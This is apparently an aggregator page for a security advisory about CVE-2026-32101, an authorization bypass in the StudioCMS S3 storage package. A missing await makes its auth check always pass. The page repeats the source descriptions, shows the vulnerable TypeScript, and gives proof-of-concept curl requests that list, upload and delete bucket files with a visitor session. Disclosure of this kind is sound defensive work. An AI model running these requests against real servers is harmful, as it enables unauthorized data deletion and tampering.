CVE-2026-32101
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.3.1, the S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket. This vulnerability is fixed in 0.3.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.6
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.3.1, the S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket. This vulnerability is fixed in 0.3.1.
- Record
CVE-2026-32101- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
EUVDEUVD-2026-11367
7.6
StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.3.1, the S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket. This vulnerability is fixed in 0.3.1.
- Record
EUVD-2026-11367- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mm78-fgq8-6pgr
7.6
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
Summary
The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.
Details
The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:
export type ParsedContext = {
getJson: () => Promise<ContextJsonBody>;
getArrayBuffer: () => Promise<ArrayBuffer>;
getHeader: (name: string) => string | null;
isAuthorized: (type?: AuthorizationType) => Promise<boolean>; // async
};
Both context drivers implement it as async — packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:
isAuthorized: async (type) => {
switch (type) {
case 'headers': {
// ... token verification ...
const isEditor = level >= UserPermissionLevel.editor;
if (!isEditor) return false;
return true;
}
default: {
const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
return isEditor;
}
}
},
But in the S3 storage manager, it's called without await — packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
And again at line 372 (PUT handler):
if (!isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.
Execution flow:
- Visitor-role user sends POST to
/studiocms_api/integrations/storage/manager AstroLocalsMiddlewareverifies session exists — passes (visitor is logged in)- Handler calls
!isAuthorized('locals')→ evaluates!Promise{...}=false - Authorization check is skipped entirely
- Visitor performs the requested storage operation
PoC
# 1. Log in as a visitor-role user and obtain session cookie
# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"list","prefix":""}'
# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing
# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/octet-stream' \
-H 'x-storage-key: malicious/payload.html' \
--data-binary '<h1>Uploaded by visitor</h1>'
# Expected: 401 Unauthorized
# Actual: 200 File uploaded
# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"delete","key":"important/document.pdf"}'
# Expected: 401 Unauthorized
# Actual: 200 File deleted
Impact
- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
- Attacker can delete arbitrary files from the S3 bucket, causing data loss
- Attacker can list all files and generate presigned download URLs, exposing all stored content
- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with…
- Record
GHSA-mm78-fgq8-6pgr- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
NVD
7.6
StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.3.1, the S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket. This vulnerability is fixed in 0.3.1.
- Record
CVE-2026-32101- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
OSV
7.6
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.3.1, the S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket. This vulnerability is fixed in 0.3.1.
- Record
CVE-2026-32101- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
OSVGHSA-mm78-fgq8-6pgr
7.6
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
Summary
The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.
Details
The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:
export type ParsedContext = {
getJson: () => Promise<ContextJsonBody>;
getArrayBuffer: () => Promise<ArrayBuffer>;
getHeader: (name: string) => string | null;
isAuthorized: (type?: AuthorizationType) => Promise<boolean>; // async
};
Both context drivers implement it as async — packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:
isAuthorized: async (type) => {
switch (type) {
case 'headers': {
// ... token verification ...
const isEditor = level >= UserPermissionLevel.editor;
if (!isEditor) return false;
return true;
}
default: {
const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
return isEditor;
}
}
},
But in the S3 storage manager, it's called without await — packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
And again at line 372 (PUT handler):
if (!isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.
Execution flow:
- Visitor-role user sends POST to
/studiocms_api/integrations/storage/manager AstroLocalsMiddlewareverifies session exists — passes (visitor is logged in)- Handler calls
!isAuthorized('locals')→ evaluates!Promise{...}=false - Authorization check is skipped entirely
- Visitor performs the requested storage operation
PoC
# 1. Log in as a visitor-role user and obtain session cookie
# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"list","prefix":""}'
# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing
# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/octet-stream' \
-H 'x-storage-key: malicious/payload.html' \
--data-binary '<h1>Uploaded by visitor</h1>'
# Expected: 401 Unauthorized
# Actual: 200 File uploaded
# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"delete","key":"important/document.pdf"}'
# Expected: 401 Unauthorized
# Actual: 200 File deleted
Impact
- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
- Attacker can delete arbitrary files from the S3 bucket, causing data loss
- Attacker can list all files and generate presigned download URLs, exposing all stored content
- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with…
- Record
GHSA-mm78-fgq8-6pgr- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@studiocms/s3-storagenpm |
through 0.3.0 | 0.3.1 |
@studiocms/s3-storagenpm |
before 0.3.1 | 0.3.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-32101 is a high vulnerability (CVSS 7.6) in Studiocms, published March 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in @studiocms/s3-storage 0.3.1.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.